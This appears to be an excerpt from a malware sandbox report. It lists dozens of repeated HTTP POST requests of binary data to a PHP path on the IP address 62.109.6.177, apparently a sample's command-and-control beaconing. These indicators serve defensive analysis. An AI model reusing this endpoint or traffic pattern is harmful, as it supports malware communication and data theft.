Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1876Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
